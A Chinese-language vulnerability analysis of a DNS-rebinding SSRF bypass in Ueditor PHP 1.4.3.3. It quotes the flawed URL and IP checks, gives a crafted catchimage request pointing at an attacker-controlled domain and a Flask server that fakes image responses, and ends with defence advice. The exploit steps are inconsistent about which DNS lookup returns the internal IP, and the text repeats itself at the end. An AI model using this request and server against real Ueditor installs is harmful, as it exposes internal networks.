Ueditor PHP Ver 1.4.3.3 - DNS Rebinding Bypass SSRF
字数 1221 2025-08-29 08:31:53

Ueditor PHP Ver 1.4.3.3 - DNS Rebinding Bypass SSRF 漏洞分析与利用

漏洞概述

Ueditor PHP版本1.4.3.3存在一个通过DNS重绑定技术绕过SSRF防护的漏洞。该漏洞存在于图片抓取功能中,攻击者可以利用DNS重绑定技术绕过内网IP检查,实现对内网系统的SSRF攻击。

漏洞分析

漏洞位置

漏洞主要存在于/php/Uploader.class.php文件的saveRemote()方法中,具体是图片抓取功能的实现逻辑。

关键代码流程

  1. URL验证阶段

    // http开头验证
    if (strpos($imgUrl, "http") !== 0) {
        $this->stateInfo = $this->getStateInfo("ERROR_HTTP_LINK");
        return;
    }
    
  2. 主机名提取与验证

    preg_match('/(^https*:\/\/[^:\/]+)/', $imgUrl, $matches);
    $host_with_protocol = count($matches) > 1 ? $matches[1] : '';
    
    if (!filter_var($host_with_protocol, FILTER_VALIDATE_URL)) {
        $this->stateInfo = $this->getStateInfo("INVALID_URL");
        return;
    }
    
  3. IP检查阶段

    preg_match('/^https*:\/\/(.+)/', $host_with_protocol, $matches);
    $host_without_protocol = count($matches) > 1 ? $matches[1] : '';
    
    $ip = gethostbyname($host_without_protocol);
    if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)) {
        $this->stateInfo = $this->getStateInfo("INVALID_IP");
        return;
    }
    
  4. HTTP请求与内容验证

    $heads = get_headers($imgUrl, 1);
    if (!(stristr($heads[0], "200") && stristr($heads[0], "OK"))) {
        $this->stateInfo = $this->getStateInfo("ERROR_DEAD_LINK");
        return;
    }
    
    $fileType = strtolower(strrchr($imgUrl, '.'));
    if (!in_array($fileType, $this->config['allowFiles']) || !isset($heads['Content-Type']) || !stristr($heads['Content-Type'], "image")) {
        $this->stateInfo = $this->getStateInfo("ERROR_HTTP_CONTENTTYPE");
        return;
    }
    
  5. 最终内容获取

    ob_start();
    $context = stream_context_create(
        array('http' => array(
            'follow_location' => false // don't follow redirects
        ))
    );
    readfile($imgUrl, false, $context);
    $img = ob_get_contents();
    ob_end_clean();
    

漏洞原理

漏洞利用的关键在于DNS重绑定技术。系统在不同阶段对同一域名进行DNS解析时可能得到不同的IP地址:

  1. 第一次DNS解析发生在gethostbyname()调用时 - 返回外网IP(通过检查)
  2. 第二次DNS解析发生在get_headers()调用时 - 可以返回内网IP(实际请求)
  3. 第三次DNS解析发生在readfile()调用时 - 可以返回内网IP(获取内容)

由于DNS解析结果在不同阶段可能不同,攻击者可以绕过内网IP检查,实现对内网系统的SSRF攻击。

漏洞利用

利用条件

  1. 可控的DNS服务器,能够实现DNS重绑定
  2. 目标系统允许对外发起HTTP请求

利用步骤

  1. 设置DNS重绑定

    • 配置DNS服务器,使得短时间内对同一域名的查询返回不同的IP地址
  2. 构造恶意请求

    http://target/ueditor/php/controller.php?action=catchimage&source[]=http://malicious-domain/aaa=1%26logo.png
    
  3. 利用流程

    • 第一次DNS解析(gethostbyname):返回外网IP
    • 第二次DNS解析(get_headers):返回攻击者控制的外网服务器IP
    • 第三次DNS解析(readfile):返回内网目标IP
  4. 绕过限制的服务器实现(Python Flask示例):

    from flask import Flask, Response
    from werkzeug.routing import BaseConverter
    
    class Regex_url(BaseConverter):
        def __init__(self,url_map,*args):
            super(Regex_url,self).__init__(url_map)
            self.regex = args[0]
    
    app = Flask(__name__)
    app.url_map.converters['re'] = Regex_url
    
    @app.route('/<re(".*?"):tmp>')
    def test(tmp):
        image = 'Test'
        resp = Response(image, mimetype="image/jpeg")
        return resp
    
    if __name__ == '__main__':
        app.run(host='0.0.0.0',port=80)
    

获取回显内容

由于系统会将获取的内容保存为图片,攻击者可以通过查看返回的图片内容获取SSRF请求的响应。

防御建议

  1. 禁用不必要的远程资源获取功能
  2. 加强DNS解析一致性检查
    • 在第一次解析后缓存IP地址,后续请求使用缓存的IP
  3. 增强URL验证
    • 使用白名单限制允许的域名
    • 禁止访问私有IP地址段
  4. 设置请求超时
    • 限制DNS解析和HTTP请求的超时时间
  5. 更新到最新版本
    • 检查是否有官方修复版本

注意事项

  1. DNS重绑定的成功率受DNS缓存影响,可能不稳定
  2. 需要精心设计攻击流程以确保在不同阶段获得预期的IP地址
  3. 实际利用时需要考虑目标系统的网络环境和配置

总结

Ueditor PHP 1.4.3.3版本的SSRF漏洞通过DNS重绑定技术绕过了内网IP检查,允许攻击者访问内网资源。该漏洞的关键在于系统在不同阶段对同一域名的DNS解析结果不一致,且没有进行一致性验证。防御此类漏洞需要从多个层面进行防护,包括DNS解析一致性检查、URL验证强化和功能权限控制等。

Ueditor PHP Ver 1.4.3.3 - DNS Rebinding Bypass SSRF 漏洞分析与利用 漏洞概述 Ueditor PHP版本1.4.3.3存在一个通过DNS重绑定技术绕过SSRF防护的漏洞。该漏洞存在于图片抓取功能中,攻击者可以利用DNS重绑定技术绕过内网IP检查,实现对内网系统的SSRF攻击。 漏洞分析 漏洞位置 漏洞主要存在于 /php/Uploader.class.php 文件的 saveRemote() 方法中,具体是图片抓取功能的实现逻辑。 关键代码流程 URL验证阶段 : 主机名提取与验证 : IP检查阶段 : HTTP请求与内容验证 : 最终内容获取 : 漏洞原理 漏洞利用的关键在于DNS重绑定技术。系统在不同阶段对同一域名进行DNS解析时可能得到不同的IP地址: 第一次DNS解析发生在 gethostbyname() 调用时 - 返回外网IP(通过检查) 第二次DNS解析发生在 get_headers() 调用时 - 可以返回内网IP(实际请求) 第三次DNS解析发生在 readfile() 调用时 - 可以返回内网IP(获取内容) 由于DNS解析结果在不同阶段可能不同,攻击者可以绕过内网IP检查,实现对内网系统的SSRF攻击。 漏洞利用 利用条件 可控的DNS服务器,能够实现DNS重绑定 目标系统允许对外发起HTTP请求 利用步骤 设置DNS重绑定 : 配置DNS服务器,使得短时间内对同一域名的查询返回不同的IP地址 构造恶意请求 : 利用流程 : 第一次DNS解析(gethostbyname):返回外网IP 第二次DNS解析(get_ headers):返回攻击者控制的外网服务器IP 第三次DNS解析(readfile):返回内网目标IP 绕过限制的服务器实现 (Python Flask示例): 获取回显内容 由于系统会将获取的内容保存为图片,攻击者可以通过查看返回的图片内容获取SSRF请求的响应。 防御建议 禁用不必要的远程资源获取功能 加强DNS解析一致性检查 : 在第一次解析后缓存IP地址,后续请求使用缓存的IP 增强URL验证 : 使用白名单限制允许的域名 禁止访问私有IP地址段 设置请求超时 : 限制DNS解析和HTTP请求的超时时间 更新到最新版本 : 检查是否有官方修复版本 注意事项 DNS重绑定的成功率受DNS缓存影响,可能不稳定 需要精心设计攻击流程以确保在不同阶段获得预期的IP地址 实际利用时需要考虑目标系统的网络环境和配置 总结 Ueditor PHP 1.4.3.3版本的SSRF漏洞通过DNS重绑定技术绕过了内网IP检查,允许攻击者访问内网资源。该漏洞的关键在于系统在不同阶段对同一域名的DNS解析结果不一致,且没有进行一致性验证。防御此类漏洞需要从多个层面进行防护,包括DNS解析一致性检查、URL验证强化和功能权限控制等。